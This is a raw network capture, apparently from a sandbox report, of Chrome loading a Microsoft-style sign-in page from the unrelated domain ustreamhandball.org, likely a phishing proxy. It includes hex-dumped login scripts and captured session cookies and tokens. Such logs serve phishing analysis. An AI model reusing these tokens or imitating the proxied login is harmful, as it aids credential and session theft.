2025-01-09 23:21:23 UTC	16383	IN	Data Raw: 61 69 6c 3a 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 41 6c 74 45 6d 61 69 6c 3a 74 3d 6e 3f 6c 2e 45 6d 61 69 6c 41 64 64 72 65 73 73 45 6e 63 72 79 70 74 65 64 3a 6c 2e 45 6d 61 69 6c 41 64 64 72 65 73 73 3b 62 72 65 61 6b 3b 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 54 4f 54 50 41 75 74 68 65 6e 74 69 63 61 74 6f 72 56 32 3a 74 3d 6c 2e 53 65 73 73 69 6f 6e 41 70 70 72 6f 76 65 72 7d 72 65 74 75 72 6e 20 74 7d 3b 6e 2e 50 72 6f 6f 66 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 75 73 65 72 6e 61 6d 65 7c 7c 22 22 2c 74 3d 65 2e 66 6c 6f 77 54 6f 6b 65 6e 7c 7c 22 22 2c 69 3d 65 2e 70 75 72 70 6f 73 65 7c 7c 63 2e 50 61 73 73 77 6f 72 64 2c 61 3d 65 2e 70 72 6f 6f 66 54 79 70 65 2c 6f 3d 65 2e 70 72 6f 6f 66 44 61 74 61 7c Data Ascii: ail:case PROOF.Type.AltEmail:t=n?l.EmailAddressEncrypted:l.EmailAddress;break;case PROOF.Type.TOTPAuthenticatorV2:t=l.SessionApprover}return t};n.Proof=function(e){var n=e.username\|\|"",t=e.flowToken\|\|"",i=e.purpose\|\|c.Password,a=e.proofType,o=e.proofData\|
2025-01-09 23:21:23 UTC	16383	IN	Data Raw: 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 45 6d 61 69 6c 5d 26 26 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 5d 26 26 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 5d 29 7b 76 61 72 20 66 3d 7a 65 28 65 2c 21 30 2c 6e 29 3b 66 2e 6c 65 6e 67 74 68 3e 30 26 26 28 63 2e 41 72 72 61 79 2e 66 6f 72 45 61 63 68 28 66 2c 51 65 29 2c 70 3d 70 2e 63 6f 6e 63 61 74 28 66 29 29 7d 72 65 74 75 72 6e 20 70 7d 66 75 6e 63 74 69 6f 6e 20 65 6e 28 65 2c 6e 29 7b 76 61 72 20 74 3d 5b 5d 3b 69 66 28 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 45 6d 61 69 6c 5d 26 26 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 5d 26 26 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 5d 29 7b 76 61 72 20 69 3d 7a 65 28 65 2c 21 31 2c 6e 29 3b 69 2e 6c 65 6e 67 74 Data Ascii: [PROOF.Type.Email]&&Se[PROOF.Type.SMS]&&Se[PROOF.Type.Voice]){var f=ze(e,!0,n);f.length>0&&(c.Array.forEach(f,Qe),p=p.concat(f))}return p}function en(e,n){var t=[];if(Se[PROOF.Type.Email]&&Se[PROOF.Type.SMS]&&Se[PROOF.Type.Voice]){var i=ze(e,!1,n);i.lengt
2025-01-09 23:21:23 UTC	16383	IN	Data Raw: 67 2c 67 3d 72 2e 50 61 67 69 6e 61 74 65 64 53 74 61 74 65 2c 6d 3d 72 2e 43 72 65 64 65 6e 74 69 61 6c 54 79 70 65 2c 62 3d 72 2e 44 69 61 6c 6f 67 49 64 3b 66 75 6e 63 74 69 6f 6e 20 76 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 2c 74 3d 65 2e 73 65 72 76 65 72 44 61 74 61 2c 61 3d 65 2e 75 73 65 72 6e 61 6d 65 2c 72 3d 65 2e 61 76 61 69 6c 61 62 6c 65 43 72 65 64 73 7c 7c 5b 5d 2c 75 3d 65 2e 63 75 72 72 65 6e 74 43 72 65 64 7c 7c 7b 7d 2c 70 3d 65 2e 66 6c 6f 77 54 6f 6b 65 6e 2c 76 3d 65 2e 73 68 6f 77 46 6f 72 67 6f 74 55 73 65 72 6e 61 6d 65 2c 68 3d 65 2e 68 69 64 65 43 72 65 64 53 77 69 74 63 68 4c 69 6e 6b 2c 5f 3d 65 2e 61 72 69 61 44 65 73 63 72 69 62 65 64 42 79 2c 43 3d 65 2e 73 65 74 46 6f 63 75 73 2c 53 3d 74 2e 73 74 72 2c 78 3d 74 2e 75 Data Ascii: g,g=r.PaginatedState,m=r.CredentialType,b=r.DialogId;function v(e){var n=this,t=e.serverData,a=e.username,r=e.availableCreds\|\|[],u=e.currentCred\|\|{},p=e.flowToken,v=e.showForgotUsername,h=e.hideCredSwitchLink,_=e.ariaDescribedBy,C=e.setFocus,S=t.str,x=t.u
2025-01-09 23:21:23 UTC	16383	IN	Data Raw: 74 69 6f 6e 7d 2c 6f 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 28 76 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 28 6e 65 77 20 6c 2e 43 61 6e 61 72 79 56 61 6c 69 64 61 74 69 6f 6e 45 72 72 6f 72 28 65 2c 6f 2e 43 6f 6e 66 69 72 6d 61 74 69 6f 6e 56 69 65 77 49 64 2c 76 29 29 7d 29 2c 61 2e 44 65 66 61 75 6c 74 52 65 71 75 65 73 74 54 69 6d 65 6f 75 74 29 7d 29 29 7d 7d 6c 2e 43 61 6e 61 72 79 56 61 6c 69 64 61 74 69 6f 6e 45 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 74 68 69 73 2e 6e 61 6d 65 3d 22 43 61 6e 61 72 79 56 61 6c 69 64 61 74 69 6f 6e 45 72 72 6f 72 22 2c 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 22 43 61 6e 61 72 79 20 76 61 6c 69 64 61 74 69 6f 6e 20 66 61 69 6c 65 64 2c 20 75 73 65 72 20 63 6f 6e 66 69 72 6d 61 Data Ascii: tion},o,(function(){e(v)}),(function(e){n(new l.CanaryValidationError(e,o.ConfirmationViewId,v))}),a.DefaultRequestTimeout)}))}}l.CanaryValidationError=function(e,n,t){this.name="CanaryValidationError",this.message="Canary validation failed, user confirma
2025-01-09 23:21:23 UTC	16383	IN	Data Raw: 79 6e 63 68 72 6f 6e 6f 75 73 3a 21 72 2e 53 65 72 76 65 72 44 61 74 61 2e 69 4d 61 78 53 74 61 63 6b 46 6f 72 4b 6e 6f 63 6b 6f 75 74 41 73 79 6e 63 43 6f 6d 70 6f 6e 65 6e 74 73 7c 7c 61 2e 48 65 6c 70 65 72 2e 69 73 53 74 61 63 6b 53 69 7a 65 47 72 65 61 74 65 72 54 68 61 6e 28 72 2e 53 65 72 76 65 72 44 61 74 61 2e 69 4d 61 78 53 74 61 63 6b 46 6f 72 4b 6e 6f 63 6b 6f 75 74 41 73 79 6e 63 43 6f 6d 70 6f 6e 65 6e 74 73 29 2c 65 6e 61 62 6c 65 45 78 74 65 6e 73 69 6f 6e 73 3a 21 30 7d 29 2c 65 2e 65 78 70 6f 72 74 73 3d 73 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 69 3d 77 69 6e 64 6f 77 3b 74 2e 70 3d 69 2e 53 65 72 76 65 72 44 61 74 61 2e 75 72 6c 43 64 6e 2c 69 2e 53 65 72 76 65 72 44 61 74 61 2e 75 72 6c 49 6d 61 67 65 50 61 Data Ascii: ynchronous:!r.ServerData.iMaxStackForKnockoutAsyncComponents\|\|a.Helper.isStackSizeGreaterThan(r.ServerData.iMaxStackForKnockoutAsyncComponents),enableExtensions:!0}),e.exports=s},function(e,n,t){var i=window;t.p=i.ServerData.urlCdn,i.ServerData.urlImagePa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49909	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:24 UTC	669	OUT	GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:24 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:24 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:24 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:24 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:24 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:24 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:24 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-09 23:21:24 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 34 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:24 GMT
2025-01-09 23:21:24 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 44 34 34 41 38 43 45 45 34 46 34 0d 0a Data Ascii: Etag: 0x8DB5D44A8CEE4F4
2025-01-09 23:21:24 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 32 35 20 4d 61 79 20 32 30 32 33 20 31 37 3a 32 32 3a 34 37 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Thu, 25 May 2023 17:22:47 GMT
2025-01-09 23:21:24 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49960	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:24 UTC	2900	OUT	POST /common/handlers/watson HTTP/1.1 Host: login.ustreamhandball.org Connection: keep-alive Content-Length: 7012 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: 6d79123f-f278-4173-b566-f561b534f115 canary: PAQABDgEAAABVrSpeuWamRam2jAF1XRQErkNRhkGPFYm4JFxEEswnQ15O56E40vTxtF03m8AZSJvDPdN9LDkgrmaVJE2MtSOqh7k-LK2LsPOMhxZcblu4kwRaJxKZvQFzcHhWgtn6kx2nuqhtqyk2fp9h1GzpwRl053AHUtL_5ZSbFPLH9F-xltTDYIcOiaOJVBI2R8wHCVOnC6qT3j1oG2nNhUsNWuux6hqzNcKyFnJvjeKUe3VFKiAA Content-Type: application/json; charset=UTF-8 hpgid: 1104 Accept: application/json X-Requested-With: XMLHttpRequest hpgact: 1800 sec-ch-ua-platform: "Windows" Origin: https://login.ustreamhandball.org Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ARoAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAaAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQECyLEmSSnhHrswejLSYjcwylG3h7-L7BgsVYvBA8R4fmNC85QTX0Y9fMmSiWi6fYAzp1H-UMpGfc3R3mtyeNF0Bh99k-M8NLFIEamN7YZf7ogAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEVNkaRVEstUGS5zW9yrKrEK6UtYu3btfPAx7PedObu2jQAJSBczA_OTfFrD_ZqsnQ56dbzcKuOxBllpYOpDFieknqWyGSBYUD-wXSQzqy5FM0-hRSBfe_TiHim8V9fPTNy3otcTu3TZVGiuLmGZ1gU4WjqGn4i28SarIT8teUYlkgAA; esctx-QJgjRTU1vRY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEhgnppXB8DUDgmRVqeP994IMWv2PhpR59omBzIT6N8I963lUhQu0chew1Zd8GZ4IjePH7hdf-WZkUv_Ky2nXwO7YUbM3HC3YbW8mC-RHnvhxz-hBjW1LfkdXQ4oE_QcpGRTihq764LUE1lsChkdXVpCAA; fpc=Aq076Fa4imlIl [TRUNCATED]
2025-01-09 23:21:24 UTC	7012	OUT	Data Raw: 7b 22 65 63 22 3a 22 5b 52 65 74 72 79 20 30 5d 20 46 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 65 78 74 65 72 6e 61 6c 20 72 65 73 6f 75 72 63 65 20 5b 27 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 75 73 74 72 65 61 6d 68 61 6e 64 62 61 6c 6c 2e 6f 72 67 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 6a 73 2f 43 6f 6e 76 65 72 67 65 64 4c 6f 67 69 6e 5f 50 43 6f 72 65 5f 6e 37 56 4b 77 74 57 59 6d 32 6d 42 4c 63 49 4b 41 5a 66 51 6c 77 32 2e 6a 73 27 5d 2c 20 72 65 6c 6f 61 64 69 6e 67 20 66 72 6f 6d 20 66 61 6c 6c 62 61 63 6b 20 43 44 4e 20 65 6e 64 70 6f 69 6e 74 22 2c 22 77 65 63 22 3a 22 35 36 22 2c 22 69 64 78 22 3a 31 2c 22 70 6e 22 3a 22 43 6f 6e 76 65 72 67 65 64 53 69 67 6e 49 6e 22 2c 22 73 63 22 3a 31 30 31 33 2c 22 68 70 67 22 Data Ascii: {"ec":"[Retry 0] Failed to load external resource ['https://aadcdn.ustreamhandball.org/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js'], reloading from fallback CDN endpoint","wec":"56","idx":1,"pn":"ConvergedSignIn","sc":1013,"hpg"
2025-01-09 23:21:24 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:24 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-09 23:21:24 UTC	57	IN	Data Raw: 43 6c 69 65 6e 74 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 36 64 37 39 31 32 33 66 2d 66 32 37 38 2d 34 31 37 33 2d 62 35 36 36 2d 66 35 36 31 62 35 33 34 66 31 31 35 0d 0a Data Ascii: Client-Request-Id: 6d79123f-f278-4173-b566-f561b534f115
2025-01-09 23:21:24 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:24 UTC	47	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: application/json; charset=utf-8
2025-01-09 23:21:24 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 34 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:24 GMT
2025-01-09 23:21:24 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-09 23:21:24 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-09 23:21:24 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-09 23:21:24 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49959	152.199.21.175	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:24 UTC	412	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:25 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 2357814 Cache-Control: public, max-age=31536000 Content-MD5: nNppmoTKhyn68ZS47932wA== Content-Type: application/x-javascript Date: Thu, 09 Jan 2025 23:21:25 GMT Etag: 0x8DD1AF4C17492F5 Last-Modified: Thu, 12 Dec 2024 21:34:27 GMT Server: ECAcc (lhc/7941) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 1588139e-301e-00ea-0d7b-4ded02000000 x-ms-version: 2009-09-19 Content-Length: 454821 Connection: close
2025-01-09 23:21:25 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2025-01-09 23:21:25 UTC	1	IN	Data Raw: 44 Data Ascii: D
2025-01-09 23:21:25 UTC	16383	IN	Data Raw: 49 4e 47 5f 4e 4f 54 5f 41 4c 4c 4f 57 45 44 3a 22 38 30 30 34 37 38 44 37 22 2c 50 50 5f 45 5f 49 44 50 5f 42 49 4e 44 49 4e 47 5f 45 58 49 53 54 53 5f 53 41 4d 53 55 4e 47 3a 22 38 30 30 34 34 35 33 45 22 2c 50 50 5f 45 5f 54 52 41 4e 53 46 45 52 5f 54 4f 4b 45 4e 5f 49 4e 56 41 4c 49 44 5f 53 45 53 53 49 4f 4e 3a 22 38 30 30 34 33 35 41 30 22 7d 2c 6e 2e 45 73 74 73 45 72 72 6f 72 3d 7b 55 73 65 72 41 63 63 6f 75 6e 74 53 65 6c 65 63 74 69 6f 6e 49 6e 76 61 6c 69 64 3a 22 31 36 30 30 31 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a 65 64 3a 22 35 30 30 32 30 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a 65 64 41 70 69 56 65 72 73 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3a 22 35 30 30 32 30 31 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a 65 Data Ascii: ING_NOT_ALLOWED:"800478D7",PP_E_IDP_BINDING_EXISTS_SAMSUNG:"8004453E",PP_E_TRANSFER_TOKEN_INVALID_SESSION:"800435A0"},n.EstsError={UserAccountSelectionInvalid:"16001",UserUnauthorized:"50020",UserUnauthorizedApiVersionNotSupported:"500201",UserUnauthorize
2025-01-09 23:21:25 UTC	16383	IN	Data Raw: 6e 22 77 68 69 74 65 22 3b 69 66 28 50 29 72 65 74 75 72 6e 20 54 2e 67 65 74 49 73 48 69 67 68 43 6f 6e 74 72 61 73 74 55 73 69 6e 67 43 73 73 4d 65 64 69 61 51 75 65 72 79 28 29 2e 74 68 65 6d 65 7d 7d 7d 2c 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 26 26 64 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 3f 64 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3a 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3f 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3a 7b 7d 7d 2c 68 69 73 74 6f 72 79 3a 7b Data Ascii: n"white";if(P)return T.getIsHighContrastUsingCssMediaQuery().theme}}},getComputedStyle:function(e){return document.defaultView&&document.defaultView.getComputedStyle?document.defaultView.getComputedStyle(e,null):e.currentStyle?e.currentStyle:{}},history:{
2025-01-09 23:21:25 UTC	2	IN	Data Raw: 6c 6c Data Ascii: ll
2025-01-09 23:21:25 UTC	16383	IN	Data Raw: 2c 65 2e 74 72 61 63 65 55 72 6c 26 26 28 6e 3f 6e 2e 75 72 6c 3d 74 3a 6e 3d 74 29 29 3a 6e 3d 6e 75 6c 6c 2c 69 26 26 69 2e 65 76 65 6e 74 49 64 26 26 73 2e 6c 6f 67 45 76 65 6e 74 28 7b 65 76 65 6e 74 54 79 70 65 3a 22 6f 6e 52 65 64 69 72 65 63 74 22 2c 65 76 65 6e 74 49 64 3a 69 2e 65 76 65 6e 74 49 64 2c 65 76 65 6e 74 4c 65 76 65 6c 3a 69 2e 65 76 65 6e 74 4c 65 76 65 6c 2c 65 76 65 6e 74 41 72 67 73 3a 6e 2c 65 76 65 6e 74 4f 70 74 69 6f 6e 73 3a 69 7d 29 2c 74 7d 2c 73 2e 67 65 74 50 72 6f 70 65 72 74 79 4c 6f 67 4f 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 28 6e 3d 6e 7c 7c 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 74 72 61 63 69 6e 67 50 72 6f 70 65 72 74 79 43 68 61 6e 67 65 22 29 7c 7c 28 Data Ascii: ,e.traceUrl&&(n?n.url=t:n=t)):n=null,i&&i.eventId&&s.logEvent({eventType:"onRedirect",eventId:i.eventId,eventLevel:i.eventLevel,eventArgs:n,eventOptions:i}),t},s.getPropertyLogOption=function(e,n){return(n=n\|\|{}).hasOwnProperty("tracingPropertyChange")\|\|(
